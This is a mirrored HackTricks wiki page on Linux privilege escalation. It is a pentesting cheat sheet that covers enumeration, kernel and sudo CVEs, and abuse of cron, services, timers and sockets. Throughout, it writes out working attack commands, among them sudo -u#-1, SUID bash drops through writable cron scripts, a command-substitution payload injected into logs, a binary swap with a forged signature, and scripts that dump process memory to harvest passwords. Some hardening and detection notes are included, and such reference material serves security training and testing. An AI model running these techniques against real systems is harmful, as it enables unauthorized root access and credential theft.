overview.md (101602B)
1 --- 2 title: "Linux Privilege Escalation" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/linux-basics/linux-privilege-escalation/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/linux-privilege-escalation/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Linux Privilege Escalation 14 15 For broader background and historical enumeration workflows, compare the g0tmi1k, Payatu, SANS, LPE Workshop, Linux-Privilege-Escalation, and linux-private-i resources listed in the references.<sup>[[5]](#references)[[6]](#references)[[7]](#references)[[10]](#references)[[11]](#references)[[13]](#references)</sup> 16 17 ## System Information 18 19 ### OS info 20 21 Let's start gaining some knowledge of the OS running 22 23 ```bash 24 (cat /proc/version || uname -a ) 2>/dev/null 25 lsb_release -a 2>/dev/null # old, not by default on many systems 26 cat /etc/os-release 2>/dev/null # universal on modern systems 27 ``` 28 29 ### Path 30 31 If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: 32 33 ```bash 34 echo $PATH 35 ``` 36 37 ### Env info 38 39 Interesting information, passwords or API keys in the environment variables? 40 41 ```bash 42 (env || set) 2>/dev/null 43 ``` 44 45 ### Kernel exploits 46 47 Check the kernel version and if there is some exploit that can be used to escalate privileges 48 49 ```bash 50 cat /proc/version 51 uname -a 52 searchsploit "Linux Kernel" 53 ``` 54 55 You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).<sup>[[12]](#references)</sup>\ 56 Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) 57 58 To extract all the vulnerable kernel versions from that web you can do: 59 60 ```bash 61 curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' 62 ``` 63 64 Tools that could help to search for kernel exploits are: 65 66 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ 67 [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ 68 [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) 69 70 Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. 71 72 Additional kernel exploitation techniques: 73 74 [Adreno A7Xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/linux-kernel-exploitation/adreno-a7xx-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md) 75 [Arm64 Static Linear Map Kaslr Bypass](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/binary-exploitation/linux-kernel-exploitation/arm64-static-linear-map-kaslr-bypass.md) 76 77 ### CVE-2016-5195 (DirtyCow) 78 79 Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 80 81 ```bash 82 # make dirtycow stable 83 echo 0 > /proc/sys/vm/dirty_writeback_centisecs 84 g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil 85 https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs 86 https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c 87 ``` 88 89 ### Sudo version 90 91 Based on the vulnerable sudo versions that appear in: 92 93 ```bash 94 searchsploit sudo 95 ``` 96 97 You can check if the sudo version is vulnerable using this grep. 98 99 ```bash 100 sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" 101 ``` 102 103 ### Sudo < 1.9.17p1 104 105 Sudo versions before 1.9.17p1 (**1.9.14 - 1.9.17 < 1.9.17p1**) allows unprivileged local users to escalate their privileges to root via sudo `--chroot` option when `/etc/nsswitch.conf` file is used from a user controlled directory.<sup>[[28]](#references)[[29]](#references)</sup> 106 107 Here is a [PoC](https://github.com/pr0v3rbs/CVE-2025-32463_chwoot) to exploit that [vulnerability](https://nvd.nist.gov/vuln/detail/CVE-2025-32463). Before running the exploit, make sure that your `sudo` version is vulnerable and that it supports the `chroot` feature. 108 109 For more information, refer to the original [vulnerability advisory](https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/).<sup>[[28]](#references)</sup> 110 111 ### Sudo host-based rules bypass (CVE-2025-32462) 112 113 Sudo before 1.9.17p1 (reported affected range: **1.8.8–1.9.17**) can evaluate host-based sudoers rules using the **user-supplied hostname** from `sudo -h <host>` instead of the **real hostname**. If sudoers grants broader privileges on another host, you can **spoof** that host locally.<sup>[[29]](#references)</sup> 114 115 Requirements: 116 - Vulnerable sudo version 117 - Host-specific sudoers rules (host is neither the current hostname nor `ALL`) 118 119 Example sudoers pattern: 120 121 ```text 122 Host_Alias SERVERS = devbox, prodbox 123 Host_Alias PROD = prodbox 124 alice SERVERS, !PROD = NOPASSWD:ALL 125 ``` 126 127 Exploit by spoofing the allowed host: 128 129 ```bash 130 sudo -h devbox id 131 sudo -h devbox -i 132 ``` 133 134 If resolution of the spoofed name blocks, add it to `/etc/hosts` or use a hostname that already appears in logs/configs to avoid DNS lookups. 135 136 #### sudo < v1.8.28 137 138 From @sickrov 139 140 ```text 141 sudo -u#-1 /bin/bash 142 ``` 143 144 ### Dmesg signature verification failed 145 146 Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited 147 148 ```bash 149 dmesg 2>/dev/null | grep "signature" 150 ``` 151 152 ### More system enumeration 153 154 ```bash 155 date 2>/dev/null #Date 156 (df -h || lsblk) #System stats 157 lscpu #CPU info 158 lpstat -a 2>/dev/null #Printers info 159 ``` 160 161 ## Enumerate possible defenses 162 163 ### AppArmor 164 165 ```bash 166 if [ `which aa-status 2>/dev/null` ]; then 167 aa-status 168 elif [ `which apparmor_status 2>/dev/null` ]; then 169 apparmor_status 170 elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then 171 ls -d /etc/apparmor* 172 else 173 echo "Not found AppArmor" 174 fi 175 ``` 176 177 ### Grsecurity 178 179 ```bash 180 ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") 181 ``` 182 183 ### PaX 184 185 ```bash 186 (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") 187 ``` 188 189 ### Execshield 190 191 ```bash 192 (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") 193 ``` 194 195 ### SElinux 196 197 ```bash 198 (sestatus 2>/dev/null || echo "Not found sestatus") 199 ``` 200 201 ### ASLR 202 203 ```bash 204 cat /proc/sys/kernel/randomize_va_space 2>/dev/null 205 #If 0, not enabled 206 ``` 207 208 ## Container Breakout 209 210 If you are inside a container, start with the following container-security section and then pivot into the runtime-specific abuse pages: 211 212 213 [Container Security](/hacktricks/linux-hardening/containers-namespaces/container-security/overview) 214 215 ## Drives 216 217 Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info 218 219 ```bash 220 ls /dev 2>/dev/null | grep -i "sd" 221 cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null 222 #Check if credentials in fstab 223 grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null 224 ``` 225 226 ## Useful software 227 228 Enumerate useful binaries 229 230 ```bash 231 which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null 232 ``` 233 234 Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) 235 236 ```bash 237 (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") 238 ``` 239 240 ### Vulnerable Software Installed 241 242 Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ 243 It is recommended to check manually the version of the more suspicious installed software. 244 245 ```bash 246 dpkg -l #Debian 247 rpm -qa #Centos 248 ``` 249 250 If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. 251 252 > [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ 253 254 ## Processes 255 256 Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) 257 258 ```bash 259 ps aux 260 ps -ef 261 top -n 1 262 ``` 263 264 Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](/hacktricks/linux-hardening/software-information/electron-cef-chromium-debugger-abuse). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ 265 Also **check your privileges over the processes binaries**, maybe you can overwrite someone. 266 267 ### Cross-user parent-child chains 268 269 A child process running under a **different user** than its parent is not automatically malicious, but it is a useful **triage signal**. Some transitions are expected (`root` spawning a service user, login managers creating session processes), but unusual chains can reveal wrappers, debug helpers, persistence, or weak runtime trust boundaries. 270 271 Quick review: 272 273 ```bash 274 ps -eo pid,ppid,user,comm,args --sort=ppid 275 pstree -alp 276 ``` 277 278 If you find a surprising chain, inspect the parent command line and all files that influence its behavior (`config`, `EnvironmentFile`, helper scripts, working directory, writable arguments). In several real privesc paths the child itself was not writable, but the **parent-controlled config** or helper chain was. 279 280 ### Deleted executables and deleted-open files 281 282 Runtime artifacts are often still accessible **after deletion**. This is useful both for privilege escalation and for recovering evidence from a process that already has sensitive files open. 283 284 Check for deleted executables: 285 286 ```bash 287 pid=<PID> 288 ls -l /proc/$pid/exe 289 readlink /proc/$pid/exe 290 tr '\0' ' ' </proc/$pid/cmdline; echo 291 ``` 292 293 If `/proc/<PID>/exe` points to `(deleted)`, the process is still running the old binary image from memory. That is a strong signal to investigate because: 294 295 - the removed executable may contain interesting strings or credentials 296 - the running process may still expose useful file descriptors 297 - a deleted privileged binary can indicate recent tampering or attempted cleanup 298 299 Collect deleted-open files globally: 300 301 ```bash 302 lsof +L1 303 ``` 304 305 If you find an interesting descriptor, recover it directly: 306 307 ```bash 308 ls -l /proc/<PID>/fd 309 cat /proc/<PID>/fd/<FD> 310 ``` 311 312 This is especially valuable when a process still has a deleted secret, script, database export, or flag file open. 313 314 ### Process monitoring 315 316 You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. 317 318 ### Process memory 319 320 Some services of a server save **credentials in clear text inside the memory**.\ 321 Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ 322 However, remember that **as a regular user you can read the memory of the processes you own**. 323 324 > [!WARNING] 325 > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. 326 > 327 > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: 328 > 329 > - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. 330 > - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. 331 > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. 332 > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. 333 334 #### GDB 335 336 If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. 337 338 ```bash 339 gdb -p <FTP_PROCESS_PID> 340 (gdb) info proc mappings 341 (gdb) q 342 (gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD> 343 (gdb) q 344 strings /tmp/mem_ftp #User and password 345 ``` 346 347 #### GDB Script 348 349 ```bash 350 #!/bin/bash 351 #./dump-memory.sh <PID> 352 grep rw-p /proc/$1/maps \ 353 | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ 354 | while read start stop; do \ 355 gdb --batch --pid $1 -ex \ 356 "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ 357 done 358 ``` 359 360 #### /proc/$pid/maps & /proc/$pid/mem 361 362 For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. 363 364 ```bash 365 procdump() 366 ( 367 cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" 368 while read a b; do 369 dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ 370 skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" 371 done ) 372 cat $1*.bin > $1.dump 373 rm $1*.bin 374 ) 375 ``` 376 377 #### /dev/mem 378 379 `/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ 380 Typically, `/dev/mem` is only readable by **root** and **kmem** group. 381 382 ```text 383 strings /dev/mem -n10 | grep -i PASS 384 ``` 385 386 ### ProcDump for linux 387 388 ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 389 390 ```text 391 procdump -p 1714 392 393 ProcDump v1.2 - Sysinternals process dump utility 394 Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license. 395 Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi 396 Monitors a process and writes a dump file when the process meets the 397 specified criteria. 398 399 Process: sleep (1714) 400 CPU Threshold: n/a 401 Commit Threshold: n/a 402 Thread Threshold: n/a 403 File descriptor Threshold: n/a 404 Signal: n/a 405 Polling interval (ms): 1000 406 Threshold (s): 10 407 Number of Dumps: 1 408 Output directory for core dumps: . 409 410 Press Ctrl-C to end monitoring without terminating the process. 411 412 [20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps 413 [20:20:58 - INFO]: Timed: 414 [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 415 ``` 416 417 ### Tools 418 419 To dump a process memory you could use: 420 421 - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) 422 - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you 423 - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) 424 425 ### Credentials from Process Memory 426 427 #### Manual example 428 429 If you find that the authenticator process is running: 430 431 ```bash 432 ps -ef | grep "authenticator" 433 root 2027 2025 0 11:46 ? 00:00:00 authenticator 434 ``` 435 436 You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: 437 438 ```bash 439 ./dump-memory.sh 2027 440 strings *.dump | grep -i password 441 ``` 442 443 #### mimipenguin 444 445 The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. 446 447 | Feature | Process Name | 448 | ------------------------------------------------- | -------------------- | 449 | GDM password (Kali Desktop, Debian Desktop) | gdm-password | 450 | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | 451 | LightDM (Ubuntu Desktop) | lightdm | 452 | VSFTPd (Active FTP Connections) | vsftpd | 453 | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | 454 | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | 455 456 #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) 457 458 ```bash 459 # un truffleproc.sh against your current Bash shell (e.g. $$) 460 ./truffleproc.sh $$ 461 # coredumping pid 6174 462 Reading symbols from od... 463 Reading symbols from /usr/lib/systemd/systemd... 464 Reading symbols from /lib/systemd/libsystemd-shared-247.so... 465 Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... 466 [...] 467 # extracting strings to /tmp/tmp.o6HV0Pl3fe 468 # finding secrets 469 # results in /tmp/tmp.o6HV0Pl3fe/results.txt 470 ``` 471 472 ## Scheduled/Cron jobs 473 474 ### Crontab UI (alseambusher) running as root – web-based scheduler privesc 475 476 If a web “Crontab UI” panel (alseambusher/crontab-ui) runs as root and is only bound to loopback, you can still reach it via SSH local port-forwarding and create a privileged job to escalate.<sup>[[1]](#references)[[4]](#references)</sup> 477 478 Typical chain 479 - Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` 480 - Find credentials in operational artifacts: 481 - Backups/scripts with `zip -P <password>` 482 - systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` 483 - Tunnel and login: 484 ```bash 485 ssh -L 9001:localhost:8000 user@target 486 # browse http://localhost:9001 and authenticate 487 ``` 488 - Create a high-priv job and run immediately (drops SUID shell): 489 ```bash 490 # Name: escalate 491 # Command: 492 cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell 493 ``` 494 - Use it: 495 ```bash 496 /tmp/rootshell -p # root shell 497 ``` 498 499 Hardening 500 - Do not run Crontab UI as root; constrain with a dedicated user and minimal permissions 501 - Bind to localhost and additionally restrict access via firewall/VPN; do not reuse passwords 502 - Avoid embedding secrets in unit files; use secret stores or root-only EnvironmentFile 503 - Enable audit/logging for on-demand job executions 504 505 Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). 506 507 ```bash 508 crontab -l 509 ls -al /etc/cron* /etc/at* 510 cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" 511 ``` 512 513 If `run-parts` is used, check which names will really execute: 514 515 ```bash 516 run-parts --test /etc/cron.hourly 517 run-parts --test /etc/cron.daily 518 ``` 519 520 This avoids false positives. A writable periodic directory is only useful if your payload filename matches the local `run-parts` rules. 521 522 ### Cron path 523 524 For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ 525 526 (_Note how the user "user" has writing privileges over /home/user_) 527 528 If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ 529 Then, you can get a root shell by using: 530 531 ```bash 532 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh 533 #Wait cron job to be executed 534 /tmp/bash -p #The effective uid and gid to be set to the real uid and gid 535 ``` 536 537 ### Cron using a script with a wildcard (Wildcard Injection) 538 539 If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: 540 541 ```bash 542 rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script 543 ``` 544 545 **If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** 546 547 Read the following page for more wildcard exploitation tricks: 548 549 550 [Wildcards Spare Tricks](/hacktricks/linux-hardening/interesting-files-permissions/wildcards-spare-tricks) 551 552 553 ### Bash arithmetic expansion injection in cron log parsers 554 555 Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs.<sup>[[22]](#references)</sup> 556 557 - Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. 558 559 - Typical vulnerable pattern: 560 ```bash 561 #!/bin/bash 562 # Example: parse a log and "sum" a count field coming from the log 563 while IFS=',' read -r ts user count rest; do 564 # count is untrusted if the log is attacker-controlled 565 (( total += count )) # or: let "n=$count" 566 done < /var/www/app/log/application.log 567 ``` 568 569 - Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. 570 ```bash 571 # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): 572 $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 573 # When the root cron parser evaluates (( total += count )), your command runs as root. 574 ``` 575 576 ### Cron script overwriting and symlink 577 578 If you **can modify a cron script** executed by root, you can get a shell very easily: 579 580 ```bash 581 echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT> 582 #Wait until it is executed 583 /tmp/bash -p 584 ``` 585 586 If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you 587 588 ```bash 589 ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER> 590 ``` 591 592 ### Symlink validation and safer file handling 593 594 When reviewing privileged scripts/binaries that read or write files by path, verify how links are handled: 595 596 - `stat()` follows a symlink and returns metadata of the target. 597 - `lstat()` returns metadata of the link itself. 598 - `readlink -f` and `namei -l` help resolve the final target and show permissions of each path component. 599 600 ```bash 601 readlink -f /path/to/link 602 namei -l /path/to/link 603 ``` 604 605 For defenders/developers, safer patterns against symlink tricks include: 606 607 - `O_EXCL` with `O_CREAT`: fail if the path already exists (blocks attacker pre-created links/files). 608 - `openat()`: operate relative to a trusted directory file descriptor. 609 - `mkstemp()`: create temporary files atomically with secure permissions. 610 611 ### Custom-signed cron binaries with writable payloads 612 Blue teams sometimes "sign" cron-driven binaries by dumping a custom ELF section and grepping for a vendor string before executing them as root. If that binary is group-writable (e.g., `/opt/AV/periodic-checks/monitor` owned by `root:devs 770`) and you can leak the signing material, you can forge the section and hijack the cron task:<sup>[[2]](#references)</sup> 613 614 1. Use `pspy` to capture the verification flow. In Era, root ran `objcopy --dump-section .text_sig=text_sig_section.bin monitor` followed by `grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin` and then executed the file. 615 2. Recreate the expected certificate using the leaked key/config (from `signing.zip`): 616 ```bash 617 openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem 618 ``` 619 3. Build a malicious replacement (e.g., drop a SUID bash, add your SSH key) and embed the certificate into `.text_sig` so the grep passes: 620 ```bash 621 gcc -fPIC -pie monitor.c -o monitor 622 objcopy --add-section .text_sig=cert.pem monitor 623 objcopy --dump-section .text_sig=text_sig_section.bin monitor 624 strings text_sig_section.bin | grep 'Era Inc.' 625 ``` 626 4. Overwrite the scheduled binary while preserving execute bits: 627 ```bash 628 cp monitor /opt/AV/periodic-checks/monitor 629 chmod 770 /opt/AV/periodic-checks/monitor 630 ``` 631 5. Wait for the next cron run; once the naive signature check succeeds, your payload runs as root. 632 633 ### Frequent cron jobs 634 635 You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. 636 637 For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: 638 639 ```bash 640 for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; 641 ``` 642 643 **You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). 644 645 ### Root backups that preserve attacker-set mode bits (pg_basebackup) 646 647 If a root-owned cron wraps `pg_basebackup` (or any recursive copy) against a database directory you can write to, you can plant a **SUID/SGID binary** that will be recopied as **root:root** with the same mode bits into the backup output.<sup>[[26]](#references)</sup> 648 649 Typical discovery flow (as a low-priv DB user): 650 - Use `pspy` to spot a root cron calling something like `/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/` every minute. 651 - Confirm the source cluster (e.g., `/var/lib/postgresql/14/main`) is writable by you and the destination (`/opt/backups/current`) becomes owned by root after the job. 652 653 Exploit: 654 655 ```bash 656 # As the DB service user owning the cluster directory 657 cd /var/lib/postgresql/14/main 658 cp /bin/bash . 659 chmod 6777 bash 660 661 # Wait for the next root backup run (pg_basebackup preserves permissions) 662 ls -l /opt/backups/current/bash # expect -rwsrwsrwx 1 root root ... bash 663 /opt/backups/current/bash -p # root shell without dropping privileges 664 ``` 665 666 This works because `pg_basebackup` preserves file mode bits when copying the cluster; when invoked by root the destination files inherit **root ownership + attacker-chosen SUID/SGID**. Any similar privileged backup/copy routine that keeps permissions and writes into an executable location is vulnerable. 667 668 ### Invisible cron jobs 669 670 It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): 671 672 ```bash 673 #This is a comment inside a cron config file\r* * * * * echo "Surprise!" 674 ``` 675 676 To detect this kind of stealth entry, inspect cron files with tools that expose control characters: 677 678 ```bash 679 cat -A /etc/crontab 680 cat -A /etc/cron.d/* 681 sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null 682 xxd /etc/crontab | head 683 ``` 684 685 ## Services 686 687 ### Writable _.service_ files 688 689 Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ 690 For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** 691 692 ### Writable service binaries 693 694 Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. 695 696 ### systemd PATH - Relative Paths 697 698 You can see the PATH used by **systemd** with: 699 700 ```bash 701 systemctl show-environment 702 ``` 703 704 If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: 705 706 ```bash 707 ExecStart=faraday-server 708 ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' 709 ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" 710 ``` 711 712 Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). 713 714 **Learn more about services with `man systemd.service`.** 715 716 ## **Timers** 717 718 **Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. 719 720 You can enumerate all the timers with: 721 722 ```bash 723 systemctl list-timers --all 724 ``` 725 726 ### Writable timers 727 728 If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) 729 730 ```bash 731 Unit=backdoor.service 732 ``` 733 734 In the documentation you can read what the Unit is: 735 736 > The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. 737 738 Therefore, to abuse this permission you would need to: 739 740 - Find some systemd unit (like a `.service`) that is **executing a writable binary** 741 - Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) 742 743 **Learn more about timers with `man systemd.timer`.** 744 745 ### **Enabling Timer** 746 747 To enable a timer you need root privileges and to execute: 748 749 ```bash 750 sudo systemctl enable backu2.timer 751 Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. 752 ``` 753 754 Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer` 755 756 ## Sockets 757 758 Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files.<sup>[[14]](#references)</sup> 759 760 Sockets can be configured using `.socket` files. 761 762 **Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: 763 764 - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) 765 - `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service 